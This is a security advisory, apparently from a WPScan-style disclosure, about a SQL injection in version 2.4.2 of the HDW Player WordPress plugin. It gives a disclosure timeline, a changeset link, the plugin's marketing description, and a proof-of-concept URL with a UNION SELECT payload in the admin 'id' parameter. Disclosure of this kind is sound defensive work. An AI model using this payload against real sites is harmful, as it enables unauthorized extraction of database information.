wp-plugin : hdw-player-video-player-video-gallery

Plugin Details
Plugin Name: wp-plugin : hdw-player-video-player-video-gallery
Effected Version : 2.4.2 (and most probably lower version's if any)
Vulnerability : Injection
Identified by : anantshri
WPScan Reference URL

Technical Details
Minimum Level of Access Required : Administrator
PoC - (Proof of Concept) :

<http://localhost/wp-admin/admin.php?page=videos&opt=edit&id=2 union select 1,2,user(),4,5,6,database(),8,@@version,10,11,12>

Vulnerable Parameter : id

Trac ChangeLog : https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=900030%40hdw-player-video-player-video-gallery&old=798976%40hdw-player-video-player-video-gallery&sfp_email=&sfph_mail=

Disclosure Timeline
Vendor Contacted : 2013-12-25
Plugin Status : Updated on 2014-04-22
Public Disclosure : May 28, 2014
CVE Number :
Plugin Description :
[| HDW player (video player & video gallery) is an impressive FLV player for WordPress websites. This plugin is different and unique from other plugins available in Wordpress. You can effortlessly install this plugin to your WordPress website. You would love the plugin for the look and the versatile options that comes with the player. Start downloading the plugin either from WordPress or from our website and savor the never-ending video experience. [HDW Player](http://www.hdwplayer.com) [WordPress Video Gallery](http://www.hdwplayer.com/wordpress/) Features include: * HDW player (video player & video gallery) can handle variety of Media formats that flash can handle such as flv, mp4, 3g2, 3gp, aac, f4b, f4p, f4v, m4a, m4v, mov(h.264), sdp, vp6. * The Player includes native support for playing back Youtube videos. It can be done by just providing Youtube page URL to the Player. * The Player includes native support for playing back Dailymotion videos. It can be done by just providing Dailymotion page URL to the Player. * RTMP stands for "Real Time Messaging Protocol". It is a proprietary protocol developed by Adobe Systems for streaming audio, video and data over the Internet, between a Flash player and a server. All the major RTMP servers such as Red5, Wowza and Adobe Flash Media Server are supported by HDW ebplayer. * Pseudo Streaming is a protocol that can be installed on regular HTTP servers such as Apache, Tomcat, IIS or lighthttpd. It uses a server-side script for Flash-to-Server communication that is supported by HDW ebplayer. * A Content Delivery Network (CDN) offers several advantages over a plain webserver for streaming video. For example, a CDN will be able to speedily deliver your videos across the country and globe, it will be able to stream your videos instead of a download and it will be able to scale to large numbers of videos and viewers. The Amazon CloudFront CDN is particularly interesting, since everybody can instantly and easily sign up for it. On top of that, Amazon only charges for usage (in terms of GB of video stored and streamed), so there's no fixed costs. HDW player (video player & video gallery) supports playback for the streams from Amazon Storage. * The HDW player (video player & video gallery) supports Live HTTP DVR streaming as offered by the Bitgravity CDN. * If you are using a commercial version with the KEY provided by HDW player (video player & video gallery) Sales Team, you will have option to remove HDW Player FREE text and you will be having your own Domain Name in the Context Menu that comes from the Right Click on the Player. * With our HDW player (video player & video gallery), you have freedom of enabling / disabling all the features that you can read in detail from our Documentation part. * Using HDW player (video player & video gallery) you can embed your videos on other websites easily by using the code generated on clicking Share - Embed Button. * HDW player (video player & video gallery) has built-in option to share the video to the famous Social Networking sites such as Facebook, Twitter, etc... * HDW player (video player & video gallery) allow you to share the video (that impressed you) to your friend by using the Email option inside the Player. * Button Tooltip is available for each button on the Player. ]